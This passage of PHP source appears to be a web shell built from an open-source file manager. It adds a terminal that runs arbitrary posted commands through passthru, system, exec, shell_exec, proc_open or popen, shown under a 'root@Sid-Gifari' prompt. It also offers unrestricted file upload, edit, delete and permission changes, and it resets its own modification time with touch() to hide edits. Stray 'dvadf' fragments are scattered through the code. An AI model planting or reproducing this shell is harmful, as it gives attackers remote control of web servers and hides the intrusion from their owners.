<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
